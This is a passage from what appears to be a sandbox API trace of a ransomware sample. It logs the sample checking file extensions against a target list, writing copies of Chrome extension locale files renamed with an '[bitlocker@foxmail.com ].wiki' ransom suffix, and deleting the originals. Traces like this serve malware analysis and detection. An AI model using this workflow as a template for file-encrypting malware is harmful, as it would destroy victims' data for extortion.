lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.752] SetEndOfFile (hFile=0x1b4) returned 1 [0174.752] CloseHandle (hObject=0x1b4) returned 1 [0174.753] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.753] SetEndOfFile (hFile=0x124) returned 1 [0174.753] CloseHandle (hObject=0x124) returned 1 [0174.753] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.754] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json")) returned 1 [0174.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.754] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.754] lstrlenW (lpString=".doc") returned 4 [0174.754] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.754] lstrlenW (lpString=".docx") returned 5 [0174.754] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.754] lstrlenW (lpString=".pdf") returned 4 [0174.754] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.754] lstrlenW (lpString=".xls") returned 4 [0174.754] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.754] lstrlenW (lpString=".xlsx") returned 5 [0174.754] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.755] lstrlenW (lpString=".ppt") returned 4 [0174.755] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.755] lstrlenW (lpString=".zip") returned 4 [0174.755] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.755] lstrlenW (lpString=".rar") returned 4 [0174.755] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.755] lstrlenW (lpString=".bz2") returned 4 [0174.755] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.755] lstrlenW (lpString=".7z") returned 3 [0174.755] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.755] lstrlenW (lpString=".dbf") returned 4 [0174.755] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.755] lstrlenW (lpString=".1cd") returned 4 [0174.755] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.755] lstrlenW (lpString=".jpg") returned 4 [0174.755] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.755] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.755] lstrlenW (lpString=".doc") returned 4 [0174.755] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.755] lstrlenW (lpString=".docx") returned 5 [0174.755] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.755] lstrlenW (lpString=".pdf") returned 4 [0174.755] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.755] lstrlenW (lpString=".xls") returned 4 [0174.756] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.756] lstrlenW (lpString=".xlsx") returned 5 [0174.756] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.756] lstrlenW (lpString=".ppt") returned 4 [0174.756] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.756] lstrlenW (lpString=".zip") returned 4 [0174.756] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.756] lstrlenW (lpString=".rar") returned 4 [0174.756] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.756] lstrlenW (lpString=".bz2") returned 4 [0174.756] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.756] lstrlenW (lpString=".7z") returned 3 [0174.756] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.756] lstrlenW (lpString=".dbf") returned 4 [0174.756] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.756] lstrlenW (lpString=".1cd") returned 4 [0174.756] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.756] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\uk\\messages.json") returned 153 [0174.756] lstrlenW (lpString=".jpg") returned 4 [0174.756] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.756] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.756] lstrlenW (lpString="messages.json") returned 13 [0174.756] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.757] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.757] CloseHandle (hObject=0x124) returned 1 [0174.757] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json")) returned 0x2020 [0174.757] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.757] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.757] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.758] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.758] GetLastError () returned 0x0 [0174.758] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.759] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.760] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.760] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.760] SetEndOfFile (hFile=0x1b4) returned 1 [0174.760] CloseHandle (hObject=0x1b4) returned 1 [0174.760] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.760] SetEndOfFile (hFile=0x124) returned 1 [0174.761] CloseHandle (hObject=0x124) returned 1 [0174.761] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.761] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json")) returned 1 [0174.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.761] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.761] lstrlenW (lpString=".doc") returned 4 [0174.761] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.761] lstrlenW (lpString=".docx") returned 5 [0174.761] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.761] lstrlenW (lpString=".pdf") returned 4 [0174.761] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.762] lstrlenW (lpString=".xls") returned 4 [0174.762] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.762] lstrlenW (lpString=".xlsx") returned 5 [0174.762] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.762] lstrlenW (lpString=".ppt") returned 4 [0174.762] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.762] lstrlenW (lpString=".zip") returned 4 [0174.762] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.762] lstrlenW (lpString=".rar") returned 4 [0174.762] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.762] lstrlenW (lpString=".bz2") returned 4 [0174.762] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.762] lstrlenW (lpString=".7z") returned 3 [0174.762] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.762] lstrlenW (lpString=".dbf") returned 4 [0174.762] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.762] lstrlenW (lpString=".1cd") returned 4 [0174.762] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.762] lstrlenW (lpString=".jpg") returned 4 [0174.762] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.762] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.762] lstrlenW (lpString=".doc") returned 4 [0174.762] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.762] lstrlenW (lpString=".docx") returned 5 [0174.763] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.763] lstrlenW (lpString=".pdf") returned 4 [0174.763] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.763] lstrlenW (lpString=".xls") returned 4 [0174.763] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.763] lstrlenW (lpString=".xlsx") returned 5 [0174.763] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.763] lstrlenW (lpString=".ppt") returned 4 [0174.763] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.763] lstrlenW (lpString=".zip") returned 4 [0174.763] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.763] lstrlenW (lpString=".rar") returned 4 [0174.763] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.763] lstrlenW (lpString=".bz2") returned 4 [0174.763] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.763] lstrlenW (lpString=".7z") returned 3 [0174.763] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.763] lstrlenW (lpString=".dbf") returned 4 [0174.763] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.763] lstrlenW (lpString=".1cd") returned 4 [0174.763] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0174.763] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\vi\\messages.json") returned 153 [0174.763] lstrlenW (lpString=".jpg") returned 4 [0174.763] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0174.764] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0174.764] lstrlenW (lpString="messages.json") returned 13 [0174.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.764] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=179) returned 1 [0174.764] CloseHandle (hObject=0x124) returned 1 [0174.764] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json")) returned 0x2020 [0174.764] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0174.764] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0174.764] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.764] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.765] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0174.765] GetLastError () returned 0x0 [0174.765] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xb3, lpOverlapped=0x0) returned 1 [0174.766] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc0, lpOverlapped=0x0) returned 1 [0174.767] ReadFile (in: hFile=0x124, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0174.767] WriteFile (in: hFile=0x1b4, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xee, lpOverlapped=0x0) returned 1 [0174.767] SetEndOfFile (hFile=0x1b4) returned 1 [0174.767] CloseHandle (hObject=0x1b4) returned 1 [0174.767] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0174.767] SetEndOfFile (hFile=0x124) returned 1 [0174.845] CloseHandle (hObject=0x124) returned 1 [0174.845] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0174.845] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json")) returned 1 [0174.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.988] lstrlenW (lpString=".doc") returned 4 [0174.988] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0174.988] lstrlenW (lpString=".docx") returned 5 [0174.988] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0174.988] lstrlenW (lpString=".pdf") returned 4 [0174.988] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0174.988] lstrlenW (lpString=".xls") returned 4 [0174.988] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0174.988] lstrlenW (lpString=".xlsx") returned 5 [0174.988] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0174.988] lstrlenW (lpString=".ppt") returned 4 [0174.988] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0174.988] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.988] lstrlenW (lpString=".zip") returned 4 [0174.988] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0174.988] lstrlenW (lpString=".rar") returned 4 [0174.988] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0174.988] lstrlenW (lpString=".bz2") returned 4 [0174.988] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0174.988] lstrlenW (lpString=".7z") returned 3 [0174.989] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0174.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json") returned 156 [0174.989] lstrlenW (lpString=".dbf") returned 4 [0174.989] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0174.989] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 